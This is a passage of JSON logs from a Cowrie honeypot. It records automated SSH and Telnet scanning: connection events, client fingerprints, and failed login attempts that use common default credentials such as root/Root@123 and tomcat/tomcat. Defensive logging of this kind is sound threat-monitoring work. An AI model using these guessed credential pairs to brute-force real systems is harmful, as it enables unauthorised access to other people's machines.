sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:00.793763Z","src_ip":"176.65.132.129","session":"db2a564bd0f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:01.157421Z","src_ip":"176.65.132.129","session":"db2a564bd0f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42660,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0cd774fbbf0","protocol":"telnet","message":"New connection: 38.60.198.128:42660 (159.203.135.109:23) [session: b0cd774fbbf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:01.848255Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:02.241254Z","src_ip":"176.65.132.129","session":"db2a564bd0f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48132,"dst_ip":"10.17.0.5","dst_port":22,"session":"219c5614377d","protocol":"ssh","message":"New connection: 176.65.132.129:48132 (10.17.0.5:22) [session: 219c5614377d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:04.199568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:04.268319Z","src_ip":"176.65.132.129","session":"219c5614377d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:04.306061Z","src_ip":"176.65.132.129","session":"219c5614377d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:04.600881Z","src_ip":"176.65.132.129","session":"219c5614377d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:05.686127Z","src_ip":"176.65.132.129","session":"219c5614377d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56632,"dst_ip":"10.17.0.5","dst_port":22,"session":"d52df41dc1ec","protocol":"ssh","message":"New connection: 176.65.132.129:56632 (10.17.0.5:22) [session: d52df41dc1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:07.574553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:07.580478Z","src_ip":"176.65.132.129","session":"d52df41dc1ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:07.662598Z","src_ip":"176.65.132.129","session":"d52df41dc1ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345","message":"login attempt [user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:07.909889Z","src_ip":"176.65.132.129","session":"d52df41dc1ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:09.025386Z","src_ip":"176.65.132.129","session":"d52df41dc1ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":46008,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dcd138653a4","protocol":"ssh","message":"New connection: 57.128.222.14:46008 (159.203.135.109:22) [session: 3dcd138653a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:09.062009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:09.069236Z","src_ip":"57.128.222.14","session":"3dcd138653a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:09.174969Z","src_ip":"57.128.222.14","session":"3dcd138653a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456.","message":"login attempt [root/Aa@123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:09.620024Z","src_ip":"57.128.222.14","session":"3dcd138653a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:10.726581Z","src_ip":"57.128.222.14","session":"3dcd138653a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":33104,"dst_ip":"159.203.135.109","dst_port":23,"session":"acb950728cfe","protocol":"telnet","message":"New connection: 192.211.53.160:33104 (159.203.135.109:23) [session: acb950728cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:10.951970Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56666,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9f6148f5d39","protocol":"ssh","message":"New connection: 176.65.132.129:56666 (10.17.0.5:22) [session: e9f6148f5d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:10.956659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:10.961067Z","src_ip":"176.65.132.129","session":"e9f6148f5d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:11.045905Z","src_ip":"176.65.132.129","session":"e9f6148f5d39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:11.289535Z","src_ip":"176.65.132.129","session":"e9f6148f5d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":33684,"dst_ip":"159.203.135.109","dst_port":23,"session":"935cb7afd0c5","protocol":"telnet","message":"New connection: 64.227.82.147:33684 (159.203.135.109:23) [session: 935cb7afd0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:11.305612Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":48994,"dst_ip":"10.17.0.5","dst_port":22,"session":"481707e25ed8","protocol":"ssh","message":"New connection: 198.98.56.227:48994 (10.17.0.5:22) [session: 481707e25ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:11.564344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:11.571004Z","src_ip":"198.98.56.227","session":"481707e25ed8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:11.764547Z","src_ip":"198.98.56.227","session":"481707e25ed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:12.373211Z","src_ip":"176.65.132.129","session":"e9f6148f5d39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"321cxz","message":"login attempt [ubuntu/321cxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:12.411252Z","src_ip":"198.98.56.227","session":"481707e25ed8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:13.426378Z","src_ip":"198.98.56.227","session":"481707e25ed8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":56700,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fe0cccdcb07","protocol":"ssh","message":"New connection: 176.65.132.129:56700 (10.17.0.5:22) [session: 6fe0cccdcb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:14.509801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:14.513098Z","src_ip":"176.65.132.129","session":"6fe0cccdcb07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:14.595647Z","src_ip":"176.65.132.129","session":"6fe0cccdcb07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:14.850447Z","src_ip":"176.65.132.129","session":"6fe0cccdcb07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:15.937542Z","src_ip":"176.65.132.129","session":"6fe0cccdcb07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":46728,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb6f9ce977a7","protocol":"telnet","message":"New connection: 45.81.23.16:46728 (10.17.0.5:23) [session: eb6f9ce977a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:16.039998Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59528,"dst_ip":"10.17.0.5","dst_port":22,"session":"8341573cf962","protocol":"ssh","message":"New connection: 176.65.132.129:59528 (10.17.0.5:22) [session: 8341573cf962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:17.866077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:17.870555Z","src_ip":"176.65.132.129","session":"8341573cf962","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:17.953300Z","src_ip":"176.65.132.129","session":"8341573cf962","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:18.198796Z","src_ip":"176.65.132.129","session":"8341573cf962","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:19.283280Z","src_ip":"176.65.132.129","session":"8341573cf962","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59544,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ae63c5e81cd","protocol":"ssh","message":"New connection: 176.65.132.129:59544 (10.17.0.5:22) [session: 1ae63c5e81cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:21.222059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:47:21.226404Z","src_ip":"176.65.132.129","session":"1ae63c5e81cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],